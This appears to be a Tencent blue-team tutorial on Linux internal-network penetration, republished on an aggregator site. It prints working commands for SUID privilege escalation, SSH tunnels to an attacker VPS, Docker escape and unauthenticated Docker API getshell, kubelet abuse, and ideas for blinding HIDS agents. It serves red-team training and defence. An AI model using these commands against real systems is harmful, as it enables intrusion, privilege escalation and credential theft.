内网渗透-Linux内网渗透

系列文章目录

文章目录
  • 系列文章目录
  • 一、Linux内网渗透
  • 二、提权
    • 2.1 利用内核漏洞进行提权
    • 2.2 利用文件权限配置不当进行提权
    • 2.3 利用SUID程序进行提权
  • 三、隧道
    • 3.1 SSH
    • 3.2 nc/ncat
    • 3.3 portmap
    • 3.4 portfw
  • 四、反弹shell
    • 4.1 bash
    • 4.2 netcat
    • 4.3 php
    • 4.4 perl
    • 4.5 python
    • 4.6 ruby
    • 4.7 telnet
    • 4.8 openssl 加密
    • 4.9 完全交互式shell
  • 五、登录态
    • 5.1 tcpdump
    • 5.2 网站文件
  • 六、云安全
    • 6.1 docker
      • 6.1.1 判断是否是docker环境
      • 6.1.2 逃逸
        • 6.1.2.1 特权容器
        • 6.1.2.2 Docker Socket
        • 6.1.2.3 脏牛
      • 6.1.3 未授权访问
    • 6.2 kubernetes
      • 6.2.1 API Server攻击
      • 6.2.2 kubelet 10250端口攻击
      • 6.2.3 etcd 2379端口攻击
  • 七、IDS
    • 7.1 HIDS
    • 7.2 NIDS
  • 八、工具化
  • 总结
  • 附录

一、Linux内网渗透

上篇内网渗透(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。
在这里插入图片描述
在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。

本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。

二、提权

Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。

2.1 利用内核漏洞进行提权

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

这里以写文件的手段来演示下该漏洞利用方法。
本次漏洞环境如下:
在这里插入图片描述
根目录下存在test.txt:
在这里插入图片描述
普通用户只能查看而不能修改:
在这里插入图片描述
利用EXP成功写入文件到只读文件中:
在这里插入图片描述
附上该漏洞的POC集合地址:

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。

针对此类漏洞有些同学会有如下疑问:
Q:为什么我执行以后会卡死?
A:尝试使用反弹的方式,即交互式/半交互式的方法进行。

2.2 利用文件权限配置不当进行提权

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:
在这里插入图片描述
如果我们设置hidepid,该工具就会失效,如:

mount -o remount,rw,hidepid=2 /proc

该工具就什么输出都不会有,或者只有问号:
在这里插入图片描述
在这里插入图片描述
这里我们使用pspy作为辅助演示(当没设置hidepid时)。

前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

在这里插入图片描述
尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:
在这里插入图片描述
我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:
在这里插入图片描述
发现成功提权,以ROOT权限启动自定义命令:
在这里插入图片描述

2.3 利用SUID程序进行提权

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

首先/tmp/test存在如下文件:
在这里插入图片描述
正常执行结果如下:
在这里插入图片描述
当设置SUID时,执行结果如下:

chmod +s ./test

在这里插入图片描述
在这里插入图片描述
执行结果依然是当前用户,为何?

这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。

可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果:

#include<stdlib.h>
main()
{
setuid(0);
system(“whoami > /tmp/test.txt”);
}

在这里插入图片描述
我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
下面列举几个常见的设置了SUID的应用程序提权手段。
nmap

nmap --interactive
!sh

find

find . -type f -exec /bin/bash ;

awk

awk ‘BEGIN {system(“/bin/bash”)}’

strace

strace -o/dev/null /bin/bash

三、隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

3.1 SSH

Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。

  • 场景a:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@AIP

输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

  • 场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C

A机器执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。

  • 场景c:控制A机器,A能够访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。

3.2 nc/ncat

服务端执行监听命令:

ncat --sh-exec “ncat 127.0.0.1 22” -l 80 --keep-open

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.3 portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.4 portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

客户端连接服务端的443端口即可SSH连接:

SSH root@serverip -p 443

四、反弹shell

Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。

下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。

4.1 bash

在这里插入图片描述

4.2 netcat

在这里插入图片描述

4.3 php

在这里插入图片描述

4.4 perl

在这里插入图片描述

4.5 python

在这里插入图片描述

4.6 ruby

在这里插入图片描述

4.7 telnet

在这里插入图片描述

4.8 openssl 加密

服务端生成证书:
在这里插入图片描述
服务端监听:
在这里插入图片描述
受控端执行:
在这里插入图片描述

4.9 完全交互式shell

attack端执行:
在这里插入图片描述
victim端执行:
在这里插入图片描述
现在ctrl+c也不会退出:
在这里插入图片描述

五、登录态

现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?

5.1 tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。

下面是抓取http数据包的命令示例
在这里插入图片描述

5.2 网站文件

除了使用抓包工具去进行敏感信息的抓取,我们还可以在网站本身去做一下手脚。

比如网站是php的,那我们可以在配置文件文件中,插入恶意代码,获取Cookie等信息,下面是代码示例
在这里插入图片描述

六、云安全

现在越来越多的业务开始上云,使用容器部署业务,那随之而来的也是对应的安全风险,包括不限于未授权访问、命令执行等漏洞。

6.1 docker

6.1.1 判断是否是docker环境

进程数很少,比如少于10
在这里插入图片描述

  • 常见的命令却没有,如没有wget命令
  • 在这里插入图片描述
  • 存在/.dockerenv文件
  • 在这里插入图片描述
  • /proc/1/cgroup内包含"docker"字符
  • 在这里插入图片描述
6.1.2 逃逸

逃逸是指我们在容器中逃逸到宿主机中。

6.1.2.1 特权容器

当容器是以特权启动时,docker将允许容器访问宿主机上的所有设备。

如下容器是进行特权启动(docker run --privileged)的,我们可以把宿主机磁盘挂载进容器里,然后进行相关的逃逸操作,包括不限于更改计划任务、文件。

fdisk -l|grep /dev/vda1
mkdir /test
mount /dev/vda1 /test
chroot /test

在这里插入图片描述

6.1.2.2 Docker Socket

/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字,容器中的进程可以通过该文件与docker守护进程进行通信。
在这里插入图片描述

当攻击者可控的容器内挂载了该文件,我们也可以对其进行逃逸。
首先我们用如下命令创建一个特权测试容器:
在这里插入图片描述
比如我们控制了上述容器,并发现其挂载了docker.sock:
在这里插入图片描述
那么我们可以利用/var/run/docker.sock创建特权容器(附录5):
在这里插入图片描述
最终发现逃逸成功:
在这里插入图片描述

6.1.2.3 脏牛

利用漏洞章节处的脏牛漏洞提权也可以达到逃逸目的,这里不重复演示。
POC地址:

https://github.com/scumjr/dirtycow-vdso

6.1.3 未授权访问

当默认端口为2375的Docker Remote API对外未授权开放时,攻击者可以利用该漏洞进行getshell。

  • a、未授权攻击测试过程:
    获取所有images列表:

curl http://host:2375/containers/json

获取运行中的容器:

docker -H tcp://host:2375 ps

  • b、getshell过程:
    获取镜像:

docker -H tcp://host:2375 images

根据镜像创建容器,把宿主机根目录挂载到容器中:

docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash

创建容器后没自动进入容器的话,可以利用ps查看创建容器的CONTAINER ID:

docker -H tcp://host:2375 ps

然后进入容器:

docker -H tcp://host:2375 exec -it CONTAINERID sh

默认执行命令只能看到容器内的:
在这里插入图片描述
进入到挂载进来的磁盘中,并切换根目录,则可以看到宿主机进程:

chroot /mnt sh

在这里插入图片描述
因为挂载把宿主机根目录挂载到了容器中的/mnt目录中,就再次回到了上述逃逸的攻击手段了,其他就不再赘述。

6.2 kubernetes

kubernetes简称k8s,简单理解是拿来自动化部署容器、管理容器的框架。

6.2.1 API Server攻击

当我们获取到admin token时,可以操作API Server来控制集群。
在这里插入图片描述
也可以把admin token放置在~/.kube/config文件中,然后利用命令行工具进行后续操作:
在这里插入图片描述

6.2.2 kubelet 10250端口攻击

10250端口是kubelet API的HTTPS端口,该端口提供了pod和node的信息,如果该端口对外开放,攻击者可以利用公开api来获取敏感信息,甚至执行命令。

curl -k https://host:10250/pods

在这里插入图片描述
根据上述获取到的信息在容器中执行命令:
在这里插入图片描述
上述命令得到websocket地址,连接websocket得到命令结果:在这里插入图片描述
当获取到admin token后,也可以利用该服务端口在pod中执行命令:
在这里插入图片描述

6.2.3 etcd 2379端口攻击

etcd中存放着k8s集群数据,如果可以成功访问该服务端口,则可以获取集群中的敏感信息,包括k8s secrets、admin token、AKID等。

七、IDS

本章介绍的IDS包括HIDS和NIDS。

7.1 HIDS

HIDS涉及到如何绕过服务器上的agent。
业务服务器上默认都部署了agent,如何绕过这些agent也是一个很大的学问。这些agent常常会hook execve来获取和判断执行的命令是否恶意。

这里有几个思路和大家一起讨论:

  • 滞空LD_PRELOAD来绕过用户态的hook,busybox同理
  • 利用代码来执行命令
  • 利用ptrace进行日志混淆
  • 关闭或致盲agent通信

7.2 NIDS

NIDS涉及到如何绕过网络设备进行扫描。
在内网渗透中,我们会使用nmap去做网络探测,而nmap自带的一些特征会导致被安全设备识别和拦截。因此我们需要对nmap做一些修改,比如更改nselib/http.lua,把nmap字样删除:
![![在这里插入图片描述](https://img-blog.csdnimg.cn/a1d2b527879445968e8c81871068fd5d.png)
tcpip.cc更改windows窗口大小:
在这里插入图片描述
也可以利用ipv6进行绕过(附录6)。
也可以利用curl进行简单的探测,curl能获取banner信息:
在这里插入图片描述

八、工具化

当我们拿下跳板机/堡垒机此类服务器权限时,上面可用的命令少之又少,甚至连whoami都没有!因此我们需要编写一些适用的小工具来帮我们完成一些指定的工作,包括curl(附录7)、反弹shell:
在这里插入图片描述

总结

内网渗透博大精深,进入内网如何在不被发现的情况下快速获取目标权限也是重中之重,本系列的文章也只是抛砖引玉。腾讯蓝军也会持续和大家分享更多攻防知识,希望能够和大家共同成长,提高整体红蓝对抗水平。

文中涉及的技术信息,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

腾讯蓝军

腾讯蓝军(Tencent Force)由腾讯TEG安全平台部于2006年组建,十余年专注前沿安全攻防技术研究、实战演练、渗透测试、安全评估、培训赋能等,采用APT攻击者视角在真实网络环境开展实战演习,全方位检验安全防护策略、响应机制的充分性与有效性,最大程度发现业务系统的潜在安全风险,并推动优化提升,助力企业领先于攻击者,防患于未然。

附录

附录1 内网渗透-window内网渗透

附录2 pspy:
https://github.com/DominicBreuker/pspy

附录3 bash:
https://Linux.die.net/man/1/bash

附录4 setuid:
https://man7.org/linux/man-pages/man2/setuid.2.html

附录5 创建特权容器:
https://github.com/neargle/cloud_native_security_test_case

附录6 利用ipv6绕过ids:
https://security.tencent.com/index.php/blog/msg/147

附录7 curl:
https://github.com/SYM01/gosnippets/blob/main/curl/curl.go

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/815667.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Prime (2021): 2

前言 这个靶机有亿点难,收获很多。打靶的时候&#xff0c;前面很顺&#xff0c;到创建ssh公钥之后就一点不会了。 1 01 arp扫描&#xff0c;发现有一个130&#xff0c;再查看端口 有22&#xff0c;80&#xff0c;129&#xff0c;445&#xff0c;10123 dirb扫描目录 这…

蓝牙技术在智能硬件中应用火热,你的蓝牙适配测试如何解决?

蓝牙技术在物联网中的应用非常广泛&#xff0c;可以为人们的生活和工作带来更多的便利和智能化体验&#xff0c;主要五大核心应用场景&#xff0c;具体如下&#xff1a; 1、智能家居 通过蓝牙连接智能家居设备&#xff0c;如智能灯泡、智能插座、智能恒温器等&#xff0c;可以…

chrome截屏插件用到的JavaScript 库,图像处理库,

包含的库介绍 javascripts\libs\ InboxSDK.js InboxSDK 是一个 JavaScript 库&#xff0c;用于在 Gmail 中添加应用菜单项目。它允许开发者向 Gmail 的应用菜单添加自己的项目&#xff0c;这些项目通常用于提供高级可折叠面板、导航或发送用户到已注册的不同路由 diigo-image-…

mysql 查询实战-变量方式-解答

对mysql 查询实战-变量方式-题目&#xff0c;进行一个解答。&#xff08;先看题&#xff0c;先做&#xff0c;再看解答&#xff09; 1、查询表中⾄少连续三次的数字 1&#xff0c;处理思路 要计算连续出现的数字&#xff0c;加个前置变量&#xff0c;记录上一个的值&#xff0c…

如何用C++判断一个系统是16位、32位还是64位?

如何用C判断一个系统是16位、32位还是64位&#xff1f; 方法一&#xff1a;使用指针的sizeof()判断 #include <iostream> using namespace std;int main() {int *p nullptr;if(sizeof(p) 8){cout << "64 bits system" << endl;}else if(sizeof(…

AI大模型日报#0413:谷歌引入“无限注意力”、Picsart AI 开源120秒超长AI视频模型

导读&#xff1a; 欢迎阅读《AI大模型日报》&#xff0c;内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。 标题: 速递&#xff5c;木头姐 ARK 宣布已投资 OpenAI&#xff01;还将 Anthropic 及 Figure1 等 AI 独角兽一网打尽摘要: ARK已通过其风…

helm upgrade时 报错: another operation (install/upgrade/rollback) is in progress

用helm upgrade的时候&#xff0c;报错Error: UPGRADE FAILED: another operation (install/upgrade/rollback) is in progress 原因可能是之前有一次使用helm upgrade的时候&#xff0c;强制退出了命令(ctrlc) 解决方法: 对于 Helm v3 Helm 3 使用特殊的 Secrets 或 ConfigMap…

MySQL 建表语句详解

目录 基本建表语句 数据类型 列级约束 表级约束 表选项 示例 基本建表语句 CREATE TABLE table_name (column_name1 data_type(size) [column_constraints],column_name2 data_type(size) [column_constraints],...[table_constraints] ) [table_options]; table_name:…

IO流基本流

目录 什么是IO流 IO流的体系 字节流 FileOutputStream FileInputStream 字符集 字符流 FileReader FileWriter 字节流和字符流的使用场景 什么是IO流 内存不能永久化存储,程序停止,数据丢失,所以要添加一个存档功能,存储到硬盘的文件,我们要知道文件在哪里和如何传…

async-validator --- 中文文档

目录 async-validator Install Usage API Validate Rules Type 内置类型 Required Pattern Range Length Enumerable Whitespace Deep Rules 深层规则 defaultField 默认字段 Transform 变换 Messages 提示信息 asyncValidator 异步校验函数 validator 校验函…

【web3技术】什么是 WEB3?

Web3 简介 中心化网络已经帮助数十亿人融入了互联网,并在其上创建了稳定、可靠的基础设施。 与此同时,少数中心化巨头几乎垄断了互联网,甚至可以为所欲为。 Web3 是摆脱这一困境的方案。 不同于科技巨头垄断的传统互联网,Web3 采用去中心化,由所有用户构建、运营和拥有。…

day57 判断子序列 不同的子序列 两个字符串的删除操作 编辑距离

题目1 392 判读子序列 题目链接 392 判断子序列 题意 判断字符串s是否为字符串t的子序列 &#xff08;子序列的相对位置在原字符串中不改变&#xff09; 就是求最长公共子序列的长度与字符串s的长度是否相等 动态规划 1&#xff09;确定dp数组及下标i的含义 dp[i][j]…

城市预约挂号统一平台的实现

目录 一、需求分析 二、界面设计 ​ 三、前端开发 四、代码下载 一.需求分析 二、界面设计 三、前端开发 <!DOCTYPE html> <html lang"zh-ch"> <head><meta charset"UTF-8"><title>基本样式页</title><link rel…

Python中的可哈希与不可哈希对象详解

文章目录 1. 前置知识&#xff1a;哈希是什么2. 可哈希和不可哈希对象的定义2.1可哈希2.2 不可哈希 3. 对象的哈希方法3.1 自定义对象的哈希方法3.2 可哈希性与等价性3.3 哈希值的用途 推荐 在复习可变对象和不可变对象时&#xff0c;学到了这个内容 1. 前置知识&#xff1a;哈…

宜搭无权查询该应用信息,唯一排查码:21081d4e17130865292352743e9ed8

这种问题可能是关联表单出现了问题&#xff0c;当前应用中没有这个表单 所以就出现了应用无权访问的问题

【第二十四篇】使用Burpsuite实现反射、储存、DOM型XSS(靶场实战案例)

目录 反射性XSS储存型XSSDOM XSS反射性XSS 搜索1后,审查元素: 猜测<font>标签中没有进行XSS特殊字符转义,而在<font>标签内,可使用<script>标签: <script>alert(1)</script>储存型XSS 该模块对姓名、电子邮件、网站做过滤处理,但评论处…

深度学习| 交叉熵损失函数(包含代码实现)

前言&#xff1a;因为我深度学习主要用于图像分割&#xff0c;所以交叉熵损失函数主要侧重在图像分割。 交叉熵损失函数 介绍公式交叉熵函数存在什么问题带权重的交叉熵函数代码 介绍 交叉熵损失函数&#xff08;Cross-Entropy Loss&#xff09;是深度学习中常用的一种损失函…

基于深度学习的生活垃圾智能分类系统(微信小程序+YOLOv5+训练数据集+开题报告+中期检查+论文)

摘要 本文基于Python技术&#xff0c;搭建了YOLOv5s深度学习模型&#xff0c;并基于该模型研发了微信小程序的垃圾分类应用系统。本项目的主要工作如下&#xff1a; &#xff08;1&#xff09;调研了移动端垃圾分类应用软件动态&#xff0c;并分析其优劣势&#xff1b;分析了深…

【S32K3 MCAL配置】-4.1-CAN Driver:如何解决CAN帧发送丢帧问题

"><--返回「Autosar_MCAL高阶配置」专栏主页--> 案例背景:如何解决:同一时刻,连续调用多次CanIf_Transmit / Can_Write API,同时发送不同CANID帧,出现丢帧问题。 目录(共9页精讲,基于评估板: NXP S32K312EVB-Q172,手把手教你S32K3从入门到精通) 实现的架…